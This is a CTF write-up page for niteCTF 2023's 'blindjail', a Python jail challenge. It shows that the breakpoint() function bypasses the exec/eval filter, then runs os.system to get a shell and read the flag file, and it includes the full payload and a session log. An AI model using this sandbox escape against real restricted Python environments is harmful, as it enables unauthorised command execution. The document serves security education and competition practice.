Files

main

Go to file t

.github
2023
0ByteCTF 2023
0xL4ugh CTF 2023
1337UP LIVE CTF
24h@CTF 2023
ASC Cyber Wargames Qualificat...
AmateursCTF 2023
BDSec CTF 2023
BYUCTF 2023
BlueHens CTF 2023

ctf-writeup / 2023 / niteCTF 2023 / blindjail /

Add file

daffainfo feat: grouped the challs ✕ e6c48e5 · last month History

Name	Last commit message	Last commit date
..		
images	feat: grouped the challs	last month
README.md	feat: grouped the challs	last month

README.md

blindjail

> There is no escape, sometimes going in blind makes other attributes stronger.

> There is no escape, sometimes going in blind makes other attributes stronger.

About the Challenge

We were given a server to connect where we can execute a python code (Classic PyJail) but there are some filter like we can't use `exec()` or `eval()` function

```
------------------------------------------------------------
 WELCOME TO THE BLINDJAIL
 ------------------------------------------------------------
  fret not that you cannot see, fret that you cannot leave.
>>> exec
 Nope,  exec  is banned!
>>> eval
 Nope,  eval  is banned!
>>> print(1)
1
>>>
```

How to Solve?

I tried several function and luckily the program didn't blacklist `breakpoint()` function. So the final payload will be like this

```
breakpoint()
...
import os
os.system("sh")
```

```
------------------------------------------------------------
 WELCOME TO THE BLINDJAIL
 ------------------------------------------------------------
  fret not that you cannot see, fret that you cannot leave.
>>> breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) import os
(Pdb) os.system("bash")
ls
flag.txt
main.py
cat flag.txt
nitectf{sl1d3_0ver_th3se_4ttribut3s}
```

```
nitectf{sl1d3_0ver_th3se_4ttribut3s}
```